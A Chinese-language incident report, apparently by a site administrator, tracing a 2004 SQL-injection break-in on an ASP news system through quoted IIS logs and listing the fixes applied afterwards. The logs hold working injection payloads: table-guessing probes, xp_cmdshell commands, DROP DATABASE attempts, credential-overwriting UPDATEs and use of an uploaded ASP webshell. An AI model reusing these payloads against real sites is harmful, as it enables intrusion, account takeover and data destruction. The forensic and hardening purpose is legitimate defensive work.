时间:中午13:30
接到实验室电话,说网站信息发布系统(旧版)用户无法登陆,察看数据库后发现所有用户名和密码均被改为 admin ,未发现其它改动。
经过分析,数据库被非法修改。因为用户名被设为主键,正常情况下不会重复。
时间:下午15:30
到实验室察看服务器。服务器系统为 win2003 + IIS6.0,系统是ASP编写的,数据库为 SQL-Server 2000。
用备份恢复用户表。
察看系统安全日志,发现以下记录:
2004-09-08 03:32:20 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20admin)|24|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]对象名_'admin'_无效。 80 - 211.157.253.134 500
系统存在SQL注入漏洞!入侵在猜用户表,查找所有211.157.253.134的操作记录,原来才了好多次,并且猜中了:
2004-09-08 03:32:31 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20user)|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]在关键字_'user'_附近有语法错误。 80 - 211.157.253.134 500
下面要开始做动作了吧,继续看
2004-09-08 03:33:58 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20news)|24|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]对象名_'news'_无效。 80 - 211.157.253.134 500
又猜了几次信息表,还好表名比较特别,最终没猜出来。
2004-09-08 03:36:01 GET /news/showmsg.asp id=1190;exec%20xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能找到存储过程_'xp_cmdshell'。 80 - 211.157.253.134 500
id=1190;exec%20dbo.master.xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能在_sysdatabases_中找到数据库_'dbo'_所对应的条目。没有找到具有该名称的条目。请确保正确地输入了名称。 80 - 211.157.253.134 500
2004-09-08 03:37:33 GET /news/showmsg.asp id=1190;exec%20master.xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能找到存储过程_'master.xp_cmdshell'。 80 - 211.157.253.134 500
还好数据库经过一些处理,一些扩展存储过程之类已经删除。
又猜了几次信息表,没猜出来,终于开始动手了:
2004-09-08 03:38:55 GET /news/showmsg.asp id=1190;select%20*%20from%20[user]; 80 - 211.157.253.134 200
2004-09-08 03:47:31 GET /news/showmsg.asp id=1190%20and%20drop%20databases%20t***s|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]在关键字_'drop'_附近有语法错误。 80 - 211.157.253.134 500
猜到数据库名,还要删除数据库,阴险!
2004-09-08 03:47:46 GET /news/showmsg.asp id=1190%20;%20drop%20database%20trans;--|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]无法除去_数据库_'t***s',因为它当前正在使用。 80 - 211.157.253.134 500
使用中,无法删除。。。
2004-09-08 03:50:33 GET /news/showmsg.asp id=1190%20;drop%20database%20master;|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]无法_除去_数据库_'master',因为它是系统_数据库。 80 - 211.157.253.134 500
靠,什么都想删
2004-09-08 03:56:18 GET /news/showmsg.asp id=1190%20;insert%20into%20[user](username,[password])%20values('123123','123123'); 80 - 211.157.253.134 200
要强行建立一个用户
2004-09-08 03:57:36 GET /news/showmsg.asp id=1190%20;delete%20from%20[user]%20where%20username='123123';|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]第_1_行:_';'_附近有语法错误。 80 - 211.157.253.134 500
要删除这个用户,什么意思,没用上吗?继续看:
2004-09-08 03:58:12 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20username='admin',password='admin'%20where%20id=1;|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]列名_'id'_无效。 80 - 211.157.253.134 500
要改管理员密码,还好列名不对
2004-09-08 03:58:43 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20username='admin'; 80 - 211.157.253.134 200
2004-09-08 03:58:55 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20[password]='admin'; 80 - 211.157.253.134 200
原来如此,这里把所有用户名、密码改了
2004-09-08 03:59:07 GET /news/MSG_list.asp - 80 - 211.157.253.134 200
已经登录管理界面了,可以为所欲为了,不过倒是还比较有道德,没有再改动数据库的内容。
2004-09-08 04:01:56 GET /news/showmsg.asp id=1190%20;drop%20database%20eaie;|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]无法_除去_数据库_'eaie',因为它在系统目录中不存在。 80 - 211.157.253.134 500
eaie???
2004-09-08 04:10:22 POST /news/saveupfile.asp - 80 - 211.157.253.134 200
应该上传了什么,看看:
2004-09-08 04:11:12 GET /news/upfile/200498121011admin1.asp - 80 - 211.157.253.134 200
上传了*.asp文件,以admin用户登录,并且执行了。
2004-09-08 04:49:15 GET /news/upfile/200498121011admin1.asp path=C:/Documents%20and%20Settings&oldpath=C:&attrib=true 80 - 211.157.253.134 200
执行了很多类似操作,估计是木马。
日志分析完毕。
时间:下午17:00
先看看上传了个什么文件,打开,有一行说明了一切:
<title>::::海阳顶端网ASP木马@2005α版::::</title>
原来如此,靠
再在IIS下察看上传文件夹权限,竟然允许执行纯脚本。关!
时间:下午17:10
查看信息发布系统数据库连接文件,竟然用sa登录。
重新添加两个用户,信息显示的用户类型设为datareader,不可操作用户表
时间:下午17:30
查看信息发布系统源代码,SQL注入过滤对表单提交都作了,但字符串却没有相应限制。
修改源代码,进行严格过滤。
时间:下午18:00
修改完毕。
总结:由于系统设计和服务器管理没有协调好,数据库出现漏洞;文件夹权限设置出现漏洞;上传文件也没有做类型限制,这些导致了网站被注入。
经过补救,安全性有所提高。但要完全杜绝入侵还有距离。